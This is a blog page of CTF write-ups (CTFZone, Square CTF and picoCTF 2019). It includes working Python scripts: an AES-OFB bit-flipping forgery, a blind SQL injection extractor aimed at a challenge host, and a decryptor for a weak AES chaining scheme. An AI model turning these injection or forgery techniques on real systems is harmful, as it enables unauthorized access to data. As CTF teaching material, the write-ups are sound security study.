ふるつき

v(*'='*)v かに

CTFZone 2019 Quals Writeup

[Crypto] Agents

  • AES-OFB encrypted json which may formed : {"trusted": 0, "N": ..., "e": 65537} (@ptr-yudai guessed this)
  • when we turned trused into 1, the server returned RSA-encrypted secrets using N and e in json.
  • Since encryption mode was OFB, once we could guess the json format then it is easy to manipulate plaintext by XOR.
from ptrlib import Socket
from base64 import b64decode, b64encode
from logging import getLogger, WARN

getLogger("ptrlib.pwn.sock").setLevel(WARN + 1)


def getMsg():
    sock.recvuntil("exit")
    sock.sendline("1")
    sock.recvuntil('Use name "')
    name = sock.recvline().decode().split('"')[0]
    sock.recvuntil("message:")
    sock.recvline()
    sock.recvline()
    cipher = sock.recvline()
    return name, b64decode(cipher)


def send(name, msg):
    sock.recvuntil("exit")
    sock.sendline("2")
    sock.recvuntil("your name")
    sock.sendline(name)
    name_check = sock.recvline().decode()
    if name_check.startswith("error"):
        return False, None
    sock.recvuntil("HQ")
    sock.sendline(b64encode(msg))
    sock.recvline()
    sock.recvline()
    result = sock.recv()
    if result.startswith(b"Thank you. HQ said "):
        result += sock.recv()
    return True, result


sock = Socket("crypto-agents.ctfz.one", 9543)
n, c = getMsg()
c = bytearray(c)
c[11] = c[11] ^ 1
c[-2] = c[-2] ^ ord("7") ^ ord("1")
c[-3] = c[-3] ^ ord("3") ^ ord(" ")
c[-4] = c[-4] ^ ord("5") ^ ord(" ")
c[-5] = c[-5] ^ ord("5") ^ ord(" ")
c[-6] = c[-6] ^ ord("6") ^ ord(" ")
print("{}".format(11), send(n, bytes(c)))

ctfzone{0FB_M0d3_C4n7_$4V3_A3$_K3Y}

The concept is very easy, but guessing part is hard and useless.

Square CTF 2019 Writeup

I played Square CTF 2019. I enjoyed some challenges. Thanks for the admins to hold it. However, scoring system should be improved. Writing up I solved.

[100] Talk to me

There was a ruby interpreter which was very restricted. ptr-yudai found that available charset was ['.', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '"', '%', "'", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '{', '|', '}']. I tried to construct a string like: '' << 72<<101<<108<<108<<111. Then I got a flag. I don't know why.

[Web 600] Lockbox

The web service and its source code were given. It enabled us to share short messages with open date and decryption key. Our subject was to read message which id was 3 and overdated, key was missed.

I used the SQL injection to get the encrypted message. Unfortunately, the database didn't distinguished that the character is upper or lower, so I got the wrong data first. To fix this, I used ord function.

import requests
import string
import sys

BASE64STR = string.ascii_letters + string.digits + "_-"

URL = "https://lockbox-6ebc413cec10999c.squarectf.com/?id=(SELECT ORD(SUBSTRING(data,{},1)) FROM texts WHERE id=3)='{}'&hash=XXXXXXX"
# URL = "http://localhost:8888/?id=(SELECT ORD(SUBSTRING(data,{},1)) FROM texts WHERE id=1)={}&hash=XXXXXXX"
data = ""
for i in range(1, 1000):
   sys.stdout.write("[{}]".format(i))
   sys.stdout.flush()
   for c in BASE64STR:
       sys.stdout.write(c)
       sys.stdout.flush()
       r = requests.get(URL.format(i, ord(c)))
       if "bad hash" in r.text:
           data += c
           break
   print("\n" + data)

When we get the ciphertext, then it is easy to decrypt the message. Luckily, captcha function worked as a decryption function.

func (env *Env) captcha(w http.ResponseWriter, r *http.Request) {
    c := env.decrypt(r.URL.Query().Get("c"))
    width, _ := strconv.Atoi(r.URL.Query().Get("w"))
    img := image.NewRGBA(image.Rect(0, 0, width, 50))
    d := &font.Drawer{
        Dst:  img,
        Src:  image.NewUniform(color.RGBA{R: 50, G: 50, B: 200, A: 255}),
        Face: basicfont.Face7x13,
        Dot:  fixed.Point26_6{X: 0, Y: 25 * 64},
    }
    for x := 0; x < len(c); x++ {
        d.DrawString(c[x : x+1])
        d.Dot.X += 64 * 3
        d.Dot.Y = fixed.Int26_6((25 + rand.Intn(20) - 10) * 64)
    }
    panicIfError(png.Encode(w, img))
}

Accessing at https://lockbox-6ebc413cec10999c.squarectf.com/captcha?w=1000&c=Nw12G_0K_xYt4ZR3mO7cKuc5CFrrszCysLZrLgxhoGcakkjTs7x86DotIiD5fzgSZYK-zX3bWTE-dEJrmPBlgQ, we got the following picture.

f:id:Furutsuki:20191017122241p:plain

picoctf2019 writeup

チーム zer0pts として picoctf2019 に参加していました。チームとしては shark on wire 2 Time's Up, Again! zero_to_hero が解けず 30751点で58位でした。私はCryptographyやReverse Engineeringを中心に解きました。面白かった問題についてwriteupを書きます。

[Rev] droidsN

本当は droids0 から droids4 まであるのですが、全て同じ解法で解きました。apkファイルが渡されるので、dex2jarやcfrをつかって.classファイルをデコンパイルします。どのapkにも FlagstaffHill.class というクラスがあり、 getFlagというメソッド内で、共有ライブラリ内のフラグを組み立てる関数を呼び出しています。この関数名を頼りに共有ライブラリを解析すると、どれも似たような構造になっていて、特定のデータ領域にあるデータと、引数で与えられる秘密の文字列をxorしたものがフラグになっています。引数で与えられる文字列がただしいかどうかのチェック処理も存在するので、チェックを通過するように文字列を組み立てて、実際にxorをとってみるとフラグを得ることが出来ました。

[Crypto] AES-ABC

次のコードで暗号化されたppm画像が渡されます。

#!/usr/bin/env python

from Crypto.Cipher import AES
from key import KEY
import os
import math

BLOCK_SIZE = 16
UMAX = int(math.pow(256, BLOCK_SIZE))


def to_bytes(n):
    s = hex(n)
    s_n = s[2:]
    if 'L' in s_n:
        s_n = s_n.replace('L', '')
    if len(s_n) % 2 != 0:
        s_n = '0' + s_n
    decoded = s_n.decode('hex')

    pad = (len(decoded) % BLOCK_SIZE)
    if pad != 0: 
        decoded = "\0" * (BLOCK_SIZE - pad) + decoded
    return decoded


def remove_line(s):
    # returns the header line, and the rest of the file
    return s[:s.index('\n') + 1], s[s.index('\n')+1:]


def parse_header_ppm(f):
    data = f.read()

    header = ""

    for i in range(3):
        header_i, data = remove_line(data)
        header += header_i

    return header, data
        

def pad(pt):
    padding = BLOCK_SIZE - len(pt) % BLOCK_SIZE
    return pt + (chr(padding) * padding)


def aes_abc_encrypt(pt):
    cipher = AES.new(KEY, AES.MODE_ECB)
    ct = cipher.encrypt(pad(pt))

    blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
    iv = os.urandom(16)
    blocks.insert(0, iv)
    
    for i in range(len(blocks) - 1):
        prev_blk = int(blocks[i].encode('hex'), 16)
        curr_blk = int(blocks[i+1].encode('hex'), 16)

        n_curr_blk = (prev_blk + curr_blk) % UMAX
        blocks[i+1] = to_bytes(n_curr_blk)

    ct_abc = "".join(blocks)
 
    return iv, ct_abc, ct


if __name__=="__main__":
    with open('flag.ppm', 'rb') as f:
        header, data = parse_header_ppm(f)
    
    iv, c_img, ct = aes_abc_encrypt(data)

    with open('body.enc.ppm', 'wb') as fw:
        fw.write(header)
        fw.write(c_img)

どうやら各ブロックを暗号化した後、前のブロックとの和をとっているようです。というわけで、暗号化されたファイルで、前のブロックとの差分をうまくとれば、実質ECBモードによる暗号化と同じになります。そしてECBモードでは画像などを暗号化したとき、元の画像のパターンが残ってしまう問題がありました。

from Crypto.Util.number import long_to_bytes
f = open("body.enc.ppm", "rb")
h1 = f.readline()
h2 = f.readline()
h3 = f.readline()

xs = []
while True:
    data = int.from_bytes(f.read(16), "big")
    if data == 0:
        break
    xs.append(data)
ys = []
for i in range(1, len(xs)):
    y = xs[i] - xs[i - 1]
    if y < 0:
        y += int(pow(256, 16))
    y = long_to_bytes(y)
    while len(y) % 16 != 0:
        y = b"\0" + y
    ys.append(y)
with open("flag.ppm", "wb") as f2:
    f2.write(h1)
    f2.write(h2)
    f2.write(h3)
    f2.write(b"".join(ys))